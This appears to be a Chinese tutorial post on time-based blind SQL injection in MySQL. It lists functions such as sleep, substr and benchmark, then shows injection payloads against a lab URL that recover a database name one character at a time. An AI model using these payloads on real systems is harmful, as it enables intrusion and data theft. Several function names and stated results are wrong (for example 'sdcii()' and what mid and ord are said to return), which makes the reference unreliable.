大數據中基于時間盲注的實例分析

大數據中基于時間盲注的實例分析，針對這個問題，這篇文章詳細介紹了相對應的分析和解答，希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。

一、函數介紹

1、sleep(5)：暫停5秒再返回結果

2、if(條件，表達式1，表達式2)：如果條件為真，返回表達式1，否則返回表達式2

3、substr('admin'，2，3)：從第二個位置開始截取長度為3的字符串，即dmi

4、substring('admin',2,3)：效果和上面一樣

5、substring('admin' from 2 for 1)：截取一個字母，省略了逗號

6、substring('admin' from 2)：從第二個字母開始截取

7、substring_index('1223334444','4',3)：截取到4出現的第三次，即12233344

8、rlike '^12' 或者regext '^12'：正則判斷是不是從12開頭的字符串  例子：select * from user where pass regexp '^12';

9、case when...then...end：判斷條件，如果查詢有結果返回，否則返回什么，例子：select case when username='admin' then 'admin' else 'xxx' end from user; 

10、sdcii()：獲取字母的ASCII碼

11、benchmark()：重復執行，例子：benchmark(10000000,sha(1))

12、select count(*) from user a , uer b ;  select count(*) from user 得到結果再乘以結果

13、mid()：截取函數，mid("aiyoubucuo",1,1)mid("aiyoubucuo" from 1 for 1); 結果都為1

14、left()/right()：從左/從右截取的字符串 left("aiyou",1) right("aiyou",1)

15、ord():ord("abc")，返回結果為首字母的ASCII碼，a

16、asc/desc：升序/降序排列  order by id asc；

二、實例操作

1、訪問：http://192.168.152.128/aiyou/1.php?id=2

2、構造條件語句：

http://192.168.152.128/aiyou/1.php?id=2' and 1=1 --+

3、判斷數據庫名稱

將條件改為：if(ascii(substr(database(),1,1))=97,sleep(4),null)，如果數據庫的第一個是a,就暫停4秒

不停修改數字，直到106，發現停留了4秒，說明數據庫的第一個字母是j

再將1修改為2，判斷數據庫名字的第二個字母，發現正好是a

關于大數據中基于時間盲注的實例分析問題的解答就分享到這里了，希望以上內容可以對大家有一定的幫助，如果你還有很多疑惑沒有解開，可以關注億速云行業資訊頻道了解更多相關知識。